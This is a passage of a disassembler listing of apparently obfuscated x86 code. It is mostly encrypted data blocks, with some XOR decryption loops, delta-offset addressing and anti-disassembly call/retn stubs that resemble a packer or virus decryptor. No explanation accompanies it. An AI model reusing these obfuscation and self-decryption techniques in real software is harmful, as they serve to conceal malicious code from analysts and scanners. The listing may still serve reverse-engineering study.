		dd 89EF1FCBh, 0ECD78585h, 56006A07h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 69C78221h
		dd 8BE0191Fh, 5FFC538Fh, 3591B529h, 0C2E907E9h,	6A000001h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 8BDDC356h, 0ECD77D85h, 0FB8B6607h, 1800C7h
		dd 0BD8B0000h, 7E91A71h, 0D781B58Bh, 6A07ECh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 734AE7C3h
		dd 4ECA9260h, 8B8152DEh, 0E91AFDBDh, 59858B07h,	0F07E918h
		dd 689D9B7h, 6374B2BFh,	55858B30h, 6A07E90Ch, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 8A1C355h, 0E87602Eh,	5AACBF3Ah, 0EF81130Bh, 2654E5F1h
		dd 60044689h, 8E9D98Bh,	0B7000000h, 0A7B6DD39h,	612E1F48h
		dd 353DBD8Bh, 0E95007E9h, 0Fh, 0DA047F3Bh, 0D6F77B6Ah
		dd 14ACF015h, 891AF25Fh, 43B32434h, 0D77DB5FFh,	6A07ECh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 8C4B47C3h, 73EEE72Dh, 0FE8BA144h, 4E8h, 1F03FF00h, 0FE8B6600h
		dd 0BE850h, 0EAC10000h,	0ED08F60Fh, 74DBD695h, 5BDE8BDAh
		dd 424448Bh, 5BDF8B53h,	0E860008Bh, 11h, 0F470AFA9h, 822D09A8h
		dd 66C935Bh, 0AF66549Ch, 586160B7h, 24448961h, 580BB304h
		dd 6890Fh, 0C7810000h, 69518E99h, 0B89BD8Bh, 858D07E9h
		dd 7ECD785h, 18B0Fh, 90F80000h,	0CE8h, 6BF66000h, 0ECAB6419h
		dd 741D31A8h, 58C0F54h,	0BF000000h, 78C86501h, 8BF505Bh
		dd 9003E720h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 14h,	15C35545h, 64EF8166h, 0FEBF0F8Eh, 2D995FFh, 0B70F07E9h
		dd 6A61DBh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 0EB5A94C3h, 0C710B373h, 0E922B185h, 307h
		dd 0AFBB6600h, 85BD83CBh, 7ECD7h, 13840Fh, 85010000h, 7E9126Dh
		dd 0EB99589h, 1DE907E9h, 8B000000h, 0C3050F9h, 11440011h
		dd 10E8C101h, 2114430h,	3114C00h, 4E98358h, 36EBE775h
; ---------------------------------------------------------------------------


loc_5DACA4:				; CODE XREF: sdfs____:005DA8B1j
					; sdfs____:005DACBBj
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5DACA4
		jmp	short loc_5DACDA
; ---------------------------------------------------------------------------


loc_5DACBF:				; CODE XREF: sdfs____:005DA8BFj
					; sdfs____:005DACD6j
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5DACBF
		jmp	short $+2


loc_5DACDA:				; CODE XREF: sdfs____:005DACBDj
		mov	eax, eax
		xor	edi, [ebp+7E93535h]
		jns	loc_5DACEE
		mov	ebx, [ebp+7E90F49h]


loc_5DACEE:				; CODE XREF: sdfs____:005DACE2j
		mov	ebx, [ebp+7E9319Dh]
		cmp	dword ptr [ebp+7E922B1h], 3
		jnz	loc_5DB110
		push	0
		push	edi
		call	sub_5DAD0C
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DAD0C	proc near		; CODE XREF: sdfs____:005DAD04p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_5DAD0C	endp

; ---------------------------------------------------------------------------
		jno	short near ptr loc_5DAD43+1
		cmp	dword ptr [ebp+7ECD785h], 0
		jz	loc_5DB110
		add	[ebp+7E90EB9h],	edx
		push	dword ptr [ebp+7ECD785h]
		push	0
		push	ebp
		call	sub_5DAD42
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DAD42	proc near		; CODE XREF: sdfs____:005DAD3Ap

arg_4		= dword	ptr  8

		pop	ebp


loc_5DAD43:				; CODE XREF: sdfs____:005DAD1Cj
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_5DAD42	endp

; ---------------------------------------------------------------------------
		retf	7F8Ah
; ---------------------------------------------------------------------------
		db 9Dh,	33h, 66h
		dd 0F903E381h, 134995FFh, 3DBF07E9h, 8B3B8C6Dh,	0ECD779B5h
		dd 79BD3307h, 0C707E925h, 1000106h, 0FB8B6600h,	2EADBD8Bh
		dd 0E85007E9h, 0Bh, 37FED928h, 370DB02Dh, 5B7EF372h, 6A243489h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 0D307C353h, 29DFB3B0h, 21659D33h,	0B5FF07E9h
		dd 7ECD785h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	0A3C35141h, 0D70DD061h,	1AA84F34h, 95BFBF66h, 306DBD89h
		dd 95FF07E9h, 7E91AB1h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 82C35545h, 3205BD8Bh,	0B58B07E9h, 7ECD779h
		dd 0CB5BD8Bh, 858B07E9h, 7E92449h, 11DB8166h, 0C48689A6h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 493BC355h, 40EC2307h, 0F17AAA6h
		dd 586h, 13AFBB00h, 958B2C1Bh, 7E9320Dh, 24FD9D03h, 0C28307E9h
		dd 50006A04h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 0F55BED1Eh, 23A1BD8Bh, 508907E9h, 53006A20h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 0CFE29CF4h, 40177FC4h, 858DF5DBh, 7ECECA1h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 90C35747h, 630227Dh
		dd 65021598h, 3585BD03h, 0C38007E9h, 0B8868960h, 0FC000000h
		dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 4230BEC3h, 85B5FF99h, 6607ECD7h, 95FFD88Bh
		dd 7E902CDh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	0BAC35242h, 83E112D6h, 0E89689CBh, 0Dh,	263C05E8h
		dd 65D40F38h, 0EE47BF45h, 292BB93h, 505F686Ah, 96DF8B66h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0ACC35242h
		dd 0EE959h, 0C3050000h,	8BA18564h, 78C61ABEh, 0C92D4686h
		dd 0FFD8B70Fh, 0ECD785B5h, 56006A07h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0EBABA1A5h
		dd 0ACA3B982h, 0FEB8166h, 2D95FF37h, 3307E930h,	0E91825BDh
		dd 0C9BD8307h, 7E91Eh, 19840Fh,	50F50000h, 8B665250h, 5A310FDAh
		dd 24348958h, 0C28B6660h, 25419D31h, 0FF6107E9h, 0ECD785B5h
		dd 53006A07h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 0EE86E57h, 9C000000h, 83A94881h,	0BB466CD3h
		dd 0E83462C8h, 5E8A1h, 0D2910000h, 8B73A4F8h, 0E908399Dh
		dd 0FF5F5B07h, 0E91F9D95h, 419D8B07h, 0FF07E919h, 0ECD785B5h
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 9FFBB422h, 256E1F88h, 8B66EBFEh,	3995FFDAh
		dd 6A07E901h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 2526C355h, 5968A5A6h, 9F32B04Ch
		dd 83DEBF0Fh, 0E929CDBDh, 840F0207h, 45h, 1081B501h, 816607E9h
		dd 8B366DF3h, 0E9087585h, 55006A07h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0E3810490h
		dd 65529C98h, 26659589h, 0BF6607E9h, 0C66CBCh, 3CBB6600h
		dd 0AD85C7BAh, 7E924h, 0BF000000h, 3115BC4Ah
; ---------------------------------------------------------------------------


loc_5DB110:				; CODE XREF: sdfs____:005DACFBj
					; sdfs____:005DAD25j
		jmp	near ptr dword_5D9D4C+7FFh
; ---------------------------------------------------------------------------
		db 0E8h, 11h, 0
		dd 8A480000h, 80EEE2F5h, 4ADE3673h, 1C9A1F94h, 0FCC1D79h
		dd 689h, 830F00h, 5B000000h, 6AC18Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 4329FC3h
		dd 1BE13AEFh, 0BBFB2023h, 7D13595Dh, 9E8h, 41C9700h, 0B1848A21h
		dd 0BB660212h, 95F5FEFh, 0E90B21B5h, 9C78107h, 29000065h
		dd 0E9264D8Dh, 190FBA07h, 6E90000h, 0B3000000h,	9FA3F2BEh
		dd 810F8BE0h, 832C09E0h, 0D6F1813Ah, 8B5ED61Eh,	0E90111B5h
		dd 0ABE98107h, 0BB19B750h, 56FB612Dh, 7C26C181h, 0F6811BBAh
		dd 5D6FDE0Ah, 8B520F89h, 0E93061B5h, 0EF815E07h, 4D0390B3h
		dd 21C99D29h, 0C78107E9h, 4D0390AFh, 1DFD8589h,	0EA8107E9h
		dd 1, 2C850Fh, 10E90000h, 0B5000000h, 1612BD91h, 866674Ch
		dd 0BCFE3CFDh, 0E95EDA20h, 2Eh,	2BBEAAC7h, 44C267F8h, 10007E16h
		dd 98CEEF98h, 8B66284Dh, 0FF73E9F3h, 1539FFFFh,	158BB6A9h
		dd 1BE08953h, 8372A7D0h, 362662D2h, 8D8D302Bh, 7EE7554h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 54C35343h
		dd 3F315ADAh, 0CB050145h, 3860Fh, 8B660000h, 0D8D89DAh
		dd 8B07E932h, 0E90BDDBDh, 0C28B5107h, 0E585C75Bh, 0E007E922h
		dd 3300005Fh, 0E92F3D85h, 0B185C707h, 7E922h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 0F61C350h, 0B5FFD9B7h, 7E91735h, 0FE8h, 0B0D9C200h
		dd 0A01E2319h, 8EF141BEh, 84C89D32h, 0BC98D09h,	895807E9h
		dd 0E934DDBDh, 8595FF07h, 6A07E922h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 44B2C352h
		dd 101F6A86h, 6AF1BF0Fh, 3195FF00h, 8B07E90Ch, 0A40BEBC0h
		dd 0B556D4EAh, 0B6CE257Eh, 8D8DE952h, 7EE7621h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0AC35040h, 78DC19B3h
		dd 0D8D89CCh, 8907E932h, 0E908A9BDh, 58FC5207h,	22E585C7h
		dd 61EC07E9h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 7BBC67C3h, 32218D89h, 85C707E9h
		dd 7E922B1h, 0
; ---------------------------------------------------------------------------
		or	esi, [ebp+7E9167Dh]
		push	dword ptr [ebp+7E92279h]
		push	0
		push	ebp
		call	sub_5DB3A3
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DB3A3	proc near		; CODE XREF: sdfs____:005DB39Bp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_5DB3A3	endp

; ---------------------------------------------------------------------------
		db 92h
		dd 4D8DFFA3h, 0CF04124Bh, 8595FF36h, 0E807E922h, 5, 60EA781Ah
		dd 0B19589E3h, 5E07E91Dh, 95FF006Ah, 7E90C31h, 5FEBC08Bh
		dd 7D5B543Fh, 0ED3A33CBh, 4BF87FBFh, 2495CB1Fh,	95DA318Fh
		dd 36B301Dh, 8A086D24h,	225FAB5h, 8A6D3ED5h, 0F00AFA78h
		dd 92C12E0Bh, 0C58E9AA1h, 25CE921Ch, 0D7D8409Eh, 968FF3D9h
		dd 59865575h, 0C3E4CF82h, 7D7CB9B5h, 46B5AEF6h,	0E2E73112h
		dd 9AECFDB8h, 8F26ED6Bh, 4E027423h, 0E98B27E6h,	4, 39C4923Ch
		dd 510E9h, 4232D900h, 8FED01B3h, 0DAA44AE6h, 2BA9F95Bh
		dd 710B2E8Ah, 0EFCB6CFCh, 1183324Ah, 47F17C00h,	8B25C8B0h
		dd 0F99E1761h, 4EB4F4ADh, 2E5C286Eh, 0D6A04A78h, 0CDAF420Eh
		dd 183933Bh, 0E208A429h, 5AD8C894h, 989F88Ah, 0B305CC5h
		dd 9F3B0B99h, 9723037Dh, 0A825F983h, 923E584h, 0C56AC66Fh
		dd 97A521BBh, 14800DE5h, 1BA57903h, 14DC9CB3h, 13F371A0h
		dd 590BA2FCh, 0B4216C75h, 34D539F1h, 901D5FF0h,	98641624h
		dd 0C8B2460Eh, 0C3826E74h, 305C56E8h, 6FAC4DA7h, 84314E95h
		dd 73D1h, 0E309D500h, 4A6B5991h, 9844D6A0h, 0F12D0577h
		dd 5CC48E10h, 53FB6B30h, 5C66BEBEh, 10C16894h, 8430E1B0h
		dd 1CEh, 0A64A9400h, 0D67E08D4h, 0DCE63E40h, 0EE8CA014h
		dd 0A9FD8816h, 93EAACEEh, 0B8E8CC24h, 1224A03Ah, 220E9468h
		dd 8029C38Eh, 2ECDB044h, 0A5CC2B27h, 8B25C85Eh,	0D9851761h
		dd 0E7FD4133h, 0BC18860Bh, 0EAAAE799h, 2A305C44h, 0BC0EEA78h
		dd 9D5A74Ah, 3840D77Fh,	4D30C4F0h, 0C964E3D1h, 0FB4BD967h
		dd 8B3DDC20h, 3D9F1666h, 0BBC56B1Fh, 31CB596Bh,	27FF7D95h
		dd 0BD19559Dh, 3A42D79Bh, 0A66058A4h, 9E66183Eh, 19C02C04h
		dd 310CF8F8h, 5D7684h, 784C0000h, 0C4F3B3EEh, 871D305Ch
		dd 92EA0FABh, 8EF006B2h, 48F11BB6h, 7203799Ch, 0F54933C6h
		dd 0D94CC9D9h, 87905E26h, 5D9A3B4h, 8B5BE97Fh, 4D8E2FD3h
		dd 84313763h, 4383h, 0A74A2700h, 0AA4D09D5h, 7D9772D2h
		dd 770528DCh, 44F748E5h, 2E86067Bh, 148E305Ch, 7FC47581h
		dd 4A942EB3h, 9908D4A6h, 305CC53Eh, 0A452FB1Dh,	0C517970Ah
		dd 0ABF9305Ch, 0E0847C4Fh, 1E28430h, 0C0000000h, 0ADAA44Ah
		dd 57D5AC4Eh, 0B4E5E2BDh, 0D0C71FADh, 48B83FD6h, 0FAC638ADh
		dd 0CB2BD23Eh, 90368332h, 5C94937Ah, 0F1A0D678h, 305C7DB1h
		dd 73854163h, 19AF3509h, 0AF420A94h, 7DD8D8C9h,	6A38305Ch
		dd 0D6411CD4h, 3FFAB741h, 0F737B566h, 5F96CAAAh, 50EADD38h
		dd 73286121h, 63F1B328h, 6D253783h, 715B1CBh, 0E24EE775h
		dd 2FD62E48h, 2873286Dh, 0FF796BAh, 287C3C75h, 0E942873h
		dd 1A64F622h, 6113399Bh, 95170FD7h, 0A7B5015Dh,	52B209D5h
		dd 0A1D379ABh, 3E07E17h, 7A1CA8F5h, 2E9633BEh, 38C1ACEh
		dd 632A5E6Ah, 0FF3B2C79h, 15BA2h, 0A0B30000h, 0E939A537h
		dd 68198F6Bh, 37B59A29h, 0A3997A13h, 0FEF4FC8Eh, 0CC624E32h
		dd 0C6C01CB2h, 0F735752Ch, 0FE172872h, 701CA67Eh, 38D2C632h
		dd 0F705B73Eh, 4EDC9CB3h, 4230DAF6h, 72F74F4Fh,	46463B28h
		dd 0CE2872F7h, 50EAB8D4h, 72F76121h, 63F1B328h,	25C4C883h
		dd 35B244D1h, 9FB78D9Bh, 0ABD56753h, 0DAA2B511h, 0CE36931Eh
		dd 288C1A4Bh, 51h, 5D23369Eh, 73656424h, 60F6AC28h, 0BAB33A88h
		dd 0B5890B1Bh, 750F992Fh, 0C4E6A6DBh, 742E305Ch, 0C4EDCDBCh
		dd 71DDB05Ch, 0AB57A321h, 3C7C25F9h, 0D3B05CC5h, 2C210CADh
		dd 34940D9Fh, 0DC305CC5h, 0A1962FC6h, 0C000000h, 0CECDCB71h
		dd 9E5A0BD8h, 37A0B32Ch, 0A9430BA5h, 856D77CFh,	0B59409C4h
		dd 82FFA937h, 28739302h, 22029012h, 7BFA8496h, 0B74133D9h
		dd 1D49F81Eh, 0E54D97CFh, 5BFBD849h, 0A7FF2873h, 5AFDD925h
		dd 1739C222h, 0FF118476h, 0F680AA5Eh, 9E09247Fh, 0E48B950Ch
		dd 23813065h, 2D65F7C3h, 17AD710Bh, 304ABD81h, 5CFC8194h
		dd 0E96939F5h, 618D65FBh, 0ED7AF5B8h, 0FFAAC25Bh, 1E4314AFh
		dd 923AD4D2h, 5527CA7Eh, 8D65FB89h, 783632FCh, 29C4DE28h
		dd 2E6E23BDh, 2E189737h, 1BA975F7h, 0C3C1297Bh,	0A537A0B3h
		dd 8000710Bh, 90305CC5h, 0D95B4A12h, 4DA67011h,	386A384Fh
		dd 3742E8E4h, 0C0B1E45Bh, 286E06C0h, 0A7BB5250h, 9223B196h
		dd 9A6A1426h, 8567BBEBh, 0DC98BD46h, 0DE5CB400h, 4EEF1106h
		dd 660729ACh, 59233490h, 65172591h, 9ACE6CC8h, 9935098Bh
		dd 0A93B0B89h, 6BF3851Bh, 237FBBC5h, 39FA7F97h,	81B72E49h
		dd 0CA63F58Bh, 0F4BEE4A9h, 568A66C8h, 4A7E1F21h, 0FD5FD6A0h
		dd 0EEC11D5Fh, 14h, 0C5ED7830h,	0AB79D06Eh, 4024641Dh
		dd 0B6EC305Ch, 0CF2C820h, 0FD7A14Ah, 77CFA943h,	78C4B45Bh
		dd 7FC7455Ch, 66BEBE53h, 69B5C76Ah, 6FB7356Dh, 53B3CD63h
		dd 55A9D367h, 1768685Eh, 14890000h, 0E3895324h,	4C381h
		dd 0EB830000h, 241C8704h, 240C895Ch, 0D3E68h, 241C8900h
		dd 0EE769368h, 240C8B07h, 4C481h, 0EC830000h, 24248904h
		dd 4240481h, 5B000000h,	8904EC83h, 0C8892404h, 58084389h
		dd 5B2434FFh, 4C481h, 34FF0000h, 0C4835924h, 30E904h, 0D25FFFFBh
		dd 3382A06h, 0C89597E3h, 64884E0Ch, 7B33B828h, 0C50307EEh
		dd 0A58CE0FFh, 0DD805D7Dh, 0D861064Fh, 6BD7175Fh, 66383A04h
		dd 0C72647DBh, 0C72C6A4Dh, 9EA37C25h, 33713D53h, 826E46BEh
		dd 24E749A0h, 0D7592FE4h, 95313A22h, 0D0FC40ECh, 0C96405D8h
		dd 896C716Dh, 3CC17829h, 7CA05577h, 223B5FE5h, 676D0578h
		dd 65052C85h, 0C7EF0868h, 53F57604h, 4DB56A9Eh,	635B1D4Dh
		dd 563C7190h, 0D1BC5C7Eh, 937E3189h, 9D6E199Bh,	95565F8Eh
		dd 245F1932h, 0DE87E94h, 2F000000h, 322B2828h, 5E2DADB8h
		dd 2E2EAEA1h, 0EE9h, 120C2C00h,	0BB8E38EFh, 7524CBB0h
		dd 5F32428Bh, 0F510ECBAh, 0F3C7815Dh, 0E8000068h, 0Dh
		dd 0BF2D6DAh, 49EA5320h, 6B1BA9B0h, 0A3D5BB0Ch,	2B5B5318h
		dd 0BE6653C9h, 8B5BD7C6h, 81660F04h, 818B91C2h,	162055F0h
		dd 0D78B666Ah, 978FF081h, 66515B26h, 0A9C9C681h, 0D8C0815Ah
		dd 0E909B45Eh, 9, 0BC2C9971h, 0C0FE784Eh, 8A0F504Ah, 2
		dd 48FDDB3h, 0DF8B660Fh, 5BD98A56h, 0F02E983h, 4949F7BFh
		dd 38D0Fh, 8B660000h, 0E4F981D8h, 0FFFFF97h, 0F85h, 27E9F800h
		dd 0C000000h, 9F2E818Ah, 81F10A85h, 0C830Fh, 7E90000h
		dd 1D000000h, 7E1EB9A7h, 78E90258h, 76FFFFFFh, 35551A77h
		dd 2ADEFD69h, 46D4D471h, 7F01DC4Bh, 5CD4C855h, 33639852h
		dd 33A9A90Bh, 5AF19826h, 6AEF5E26h, 60327100h, 0E4FFB44Eh
		dd 22F867A5h, 0BEA1712Dh, 0DFCC43A3h, 0BA796721h, 0DAC881A3h
		dd 86D71B21h, 33327108h, 33831D29h, 0B6C09826h,	3448E53Eh
		dd 39D61576h, 63AE765Bh, 2FCD0DD9h, 64839FCFh, 59359826h
		dd 291F1523h, 634A765Bh, 4EAC1DABh, 0CC039FC8h,	0DAA955B3h
		dd 3C149321h, 336AA1A2h, 29B01526h, 639D765Bh, 334DAACEh
		dd 0BEF6D826h, 0DD2EB8A3h, 0B624C821h, 343AE53Ch, 0E6FF6776h
		dd 0B032712Ch, 0B61794E2h, 34A3E53Ch, 39231576h, 6354765Bh
		dd 2FB00DD9h, 513D9FCFh, 666A9826h, 646474ADh, 4E11CE74h
		dd 0DA8DAB2Eh, 33A69824h, 0CD3DF66h, 0C62C9726h, 2B67D9h
		dd 3B1713EFh, 3335B2CFh, 0B948AB26h, 3A71831h, 63E868ADh
		dd 88005AADh
		dd 33A9982Ch, 33D49BCFh, 7D896F26h, 3C3566A5h, 0CC656CA1h
		dd 0FB4EC3D9h, 38EEDF7Eh, 0FDD697E6h, 0B85667D9h, 6C8EC6E7h
		dd 37A8517Fh, 3B881526h, 0BE9D765Bh, 0DD33A5ABh, 932021h
		dd 0FC780000h, 310271E7h, 83C8D007h, 0F4904C7h,	0FFFFF285h
		dd 3DB58DFFh, 8D07EE7Eh, 0EE7E5C8Dh, 83CF2B07h,	0C88B05E9h
		dd 0A4FF953Dh, 0BA65F784h, 8CE79797h, 0B265F7A4h, 0D87ABB68h
		dd 38171EEDh, 2B27A3F6h, 45621953h, 0BA314E44h,	3561A66Eh
		dd 0B4EB1E57h, 368B0F52h, 0E6AC8358h, 0E29D1901h, 8CE1462Eh
		dd 368B04FFh, 61756A5Dh, 3561A6FDh, 0B4EB1E57h,	368B0F52h
		dd 0E5DF8358h, 0E29D1901h, 0B004462Eh, 0B8669571h, 0D84DF7E0h
		dd 678D9FA9h, 0BA79C44Ch, 30FF356Bh, 5765F7C0h,	0F9E9C666h
		dd 28C3A3FEh, 35CA1953h, 32FC9A52h, 0B26D1EAEh,	31621E54h
		dd 0B239E7FBh, 0D8740B68h, 0B56D1EEDh, 31621E64h, 2BB79BB3h
		dd 4C8B19B4h, 0BA621EADh, 0D84C5BEAh, 1662A0ACh, 0E1E91CD5h
		dd 88589B67h, 0D8341999h, 31621EB5h, 7E8BEBA6h,	6D8B0EB9h
		dd 6F57BE9h, 6A05BAB7h,	0B004CE2Ah, 0B4EEC921h,	0CBE611B5h
		dd 5B621EBAh, 328A4C5Dh, 11621EAEh, 0B838DD0Dh,	0B0663AFFh
		dd 2D663A91h, 73621EEAh, 6D9CDD27h, 0DAB31EFFh,	0CD65843Dh
		dd 5735262Fh, 0B46DE5D6h, 31621E97h, 0AFA00E6Eh, 49E378D2h
		dd 3E601C71h, 3161283Eh, 6162745Dh, 31621D46h, 0F23A3E57h
		dd 152697F3h, 15269FD1h, 316205EEh, 0F2325E75h,	5A9F2F32h
		dd 0DEEBA643h, 31609DA1h, 0F9E81E57h, 0AD5A9FCDh, 0B3E711B5h
		dd 0BA621EEAh, 0D8468FF8h, 331A9EBDh, 43E711B5h, 5B621EAEh
		dd 328A4B57h, 11621EABh, 0B83FDD88h, 0B0663A86h, 29663A31h
		dd 74621EBAh, 0B404DD08h, 57B719B5h, 316466D6h,	77E71100h
		dd 51621ED5h, 0D827D06Ah, 31621E65h, 5C9A9F16h,	234BB6C9h
		dd 0EC209284h, 0FFFE9E26h, 33C7F7CAh, 31081ED5h, 3161F6BCh
		dd 6F421E75h, 45EB4079h, 75E31A79h, 31771A8Ah, 67241E57h
		dd 0D8B91568h, 31621ED0h, 9743D6FAh, 3062A0CCh,	8CE958BBh
		dd 368B0ECCh, 88589B23h, 0BCEB19BBh, 368B06F6h,	258ACE2Ah
		dd 80621EEAh, 512EB7AEh, 60B1888Fh, 81925777h, 25D5D678h
		dd 6A38636Fh, 0B56DDE2Eh, 31621CC5h, 40D797BCh,	6865F767h
		dd 0F0BB9FDCh, 575A9F32h, 3E601C93h, 316221D2h,	3F8BEBABh
		dd 73621ED5h, 1DF35C92h, 0DB682A81h, 806A54A0h,	371A9FF3h
		dd 4B3D23C8h, 336B9A58h, 31081EABh, 3161F683h, 6F421EEAh
		dd 45EB40B6h, 75E31A9Eh, 31741A79h, 67241EAEh, 17CD7194h
		dd 0AD5A9FCDh, 0DE711B5h, 57621EEAh, 49E2C8FEh,	0B46DF6B8h
		dd 31621E72h, 17778B25h, 0B00419BEh, 0F16218D3h, 317F9BDAh
		dd 0BCE91EEAh, 368B321Ch, 3163A853h, 37E5115Dh,	0BA621EAEh
		dd 0D8463FEAh, 68EF95ACh, 8F65F7C7h, 4F631FEAh,	0D9301E1Fh
		dd 31621EB9h, 6BA1447Dh, 35464A27h, 35465AD6h, 31621EBCh
		dd 0EFA14C97h, 0BC620069h, 0DDDB24F0h, 0EFDB78BDh, 0B0B2E1B0h
		dd 1DD0D77h, 3EA29B3Bh,	31632D2Fh, 27E611D5h, 51621EEAh
		dd 0D8B59513h, 31621EB6h, 2688A746h, 0B4A71FABh, 78E8FA6Fh
		dd 0D95A9ECAh, 31EA9BDAh, 31081EEAh, 3161F627h,	6B421EBAh
		dd 65EB449Eh, 75E31A8Ah, 317E1A73h, 63201EABh, 0C7EEE016h
		dd 0E9B27815h, 258B41B2h, 5E621EBAh, 0D3E492F3h, 94F5ED4Fh
		dd 1638B6D8h, 0D89C2D64h, 0B1544697h, 3E111B92h, 31625FF0h
		dd 0B1B295BAh, 3E311925h, 3162F02Ah, 62627457h,	31621D43h
		dd 0F2393ED5h, 153E97B1h, 15269F71h, 316206BEh,	0F2315D5Dh
		dd 47E54647h, 40EF9515h, 5765F781h, 1FC9C954h, 0A4E949B9h
		dd 368B3108h, 0B00441E3h, 3E679165h, 3162652Bh,	61627457h
		dd 31621D43h, 0F23A3ED5h, 152697B2h, 15269F71h,	316209BEh
		dd 0F2325E5Dh, 4644BB32h, 360BA3DCh, 49E21942h,	0B46D76D3h
		dd 31621EA6h, 0A44BD5FEh, 368B326Bh, 3A1A9F3Bh,	0B46D3B51h
		dd 31621E6Fh, 0D9341EC1h, 31621ED6h, 6FA140CAh,	35466AFCh
		dd 35465A3Bh, 31621E44h, 39A148E8h, 35E0F23h, 0ACFF3D18h
		dd 0B865F7DCh, 0D86ACB57h, 315BF772h, 0A46B1EBAh, 368B31F0h
		dd 31621E16h, 8F79557h,	0D865F786h, 31621E98h, 0D9301E80h
		dd 31621E76h, 6BA1449Ah, 35464AD4h, 35465A2Fh, 31621E4Ch
		dd 38A14CE9h, 9E2FB76Fh, 8935FC7Eh, 31621E74h, 0D9341ED0h
		dd 31621E5Eh, 6FA1408Eh, 35466ADEh, 35465A2Ah, 31621ECDh
		dd 27A148ACh, 0A9940115h, 8E6DC631h, 1DD34EA2h,	8A461A27h
		dd 42E39FACh, 4F3CA326h, 0BCEF193Bh, 368C9DECh,	57373DCDh
		dd 8E71DCDh, 1A65F752h,	338BDF61h, 631FEA8Fh, 301E1F4Fh
		dd 621EB9D9h, 0A1447D31h, 464A276Bh, 465AD635h,	0F305E983h
		dd 80F558A4h, 0C00BEDD2h, 64840Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 3EBE47C3h
		dd 89B72380h, 0A18D8B1Ch, 8D07E919h, 0E94D5AB5h, 0F1958B07h
		dd 0B807E91Fh, 3, 0C4D38166h, 6AE6FFEFh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0CD14C352h
		dd 29BEB81Dh, 0BA40F558h, 7119F4CCh, 0E9C08BF8h, 0Ah, 0A1A17BACh
		dd 6A5E748Fh, 8166C1C7h, 833C55F1h, 0E918A5BDh,	9750007h
		dd 1A45BD83h, 740007E9h, 8B535019h, 403B8C0h, 85890000h
		dd 7E920F5h, 0D8359D8Dh, 0D3FF07EBh, 0BD83585Bh, 7E91A45h
		dd 50177400h, 403B853h,	85890000h, 7E920F5h, 0D4D69D8Dh
		dd 0D3FF07EBh, 6A585Bh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 505AD3C3h, 3D7627Dh, 0E9F2F870h
		dd 0Eh,	0CE18EBE9h, 2E6FCF33h, 0B0FD345Dh, 0FD8A3BBDh
		dd 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 0A8440CC3h, 0C8F5F839h, 8D61E56Ch, 0EE85568Dh
		dd 7E907h, 0C80C0000h, 6027451Dh, 0D8D8906h, 0E907E932h
		dd 10h,	0B138289Fh, 728ADFFEh, 92B23FE8h, 92685834h, 22E585C7h
